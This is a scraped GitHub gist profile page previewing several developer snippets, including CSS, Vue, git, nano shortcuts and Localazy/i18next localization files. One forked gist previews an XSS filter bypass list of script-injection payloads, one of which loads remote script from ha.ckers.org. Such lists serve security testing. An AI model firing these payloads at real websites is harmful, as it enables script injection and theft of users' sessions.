Skip to content

Instantly share code, notes, and snippets.

View honzabilek4's full-sized avatar
🌱
Working on Localazy

Jan Bílek honzabilek4

🌱
Working on Localazy
View GitHub Profile
; Autor: Miroslav Balik
; Source code: EXE 16b DOS
; Directs for assembling and linking:
; nasm odeslani.asm -fobj
; alink odeslani.obj
;********************************Macros***********************************
%macro dosint 1
mov ah,%1
@honzabilek4
honzabilek4 / vertical-center.css
Created August 29, 2017 09:27
Vertical centering hack using transform.
.vertical-center {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
@honzabilek4
honzabilek4 / git diff sqlite3 .gitattributes
Created February 1, 2018 20:51 — forked from peteristhegreat/git diff sqlite3 .gitattributes
Sqlite git diff - Get git to use an sql dump of sqlite3 for showing differences ( .gitconfig config attributes sqlite3 )
*.db diff=sqlite3
@honzabilek4
honzabilek4 / check-component.js
Created February 3, 2018 15:41
Vue check if component exist
checkIfComponentExists() {
const keys = Object.keys(this.$options.components);
const names = keys.map(key => {
const component = this.$options.components[key];
let name = '';
if (component) {
name = component.name;
}
return name;
});
@honzabilek4
honzabilek4 / xxsfilterbypass.lst
Created February 16, 2018 10:30 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@honzabilek4
honzabilek4 / nano-shorts.md
Created July 15, 2018 09:12 — forked from franz-josef-kaiser/nano-shorts.md
nano keyboard shortcuts

^ = Ctrl key M = Alt key

^G      (F1)            Display this help text
^X      (F2)            Close the current file buffer / Exit from nano
^O      (F3)            Write the current file to disk
^J      (F4)            Justify the current paragraph

^R      (F5)            Insert another file into the current one
<!DOCTYPE html>
<html>
<head>
  <title>Localize Javascript App with Localazy</title>
  <link rel="stylesheet" href="style.css"/>
  <meta charset="UTF-8" />
</head>
<body>
  <div id="app"></div>
  <script src="src/index.js">
{
"scripts": {
"start": "parcel index.html --open",
"build": "parcel build index.html"
}
}
{
"hello_localazy": "Hello Localazy!",
"calendar": "Calendar",
"field": "Field",
"event": "Event",
"title": "Title",
"color": "Color"
}
import i18next from "i18next";
import enJson from "./locales/en.json";
export const i18n = i18next;
export const initI18n = (callback) => {
i18next.init(
{
lng: "en",
debug: true,
resources: {
en: {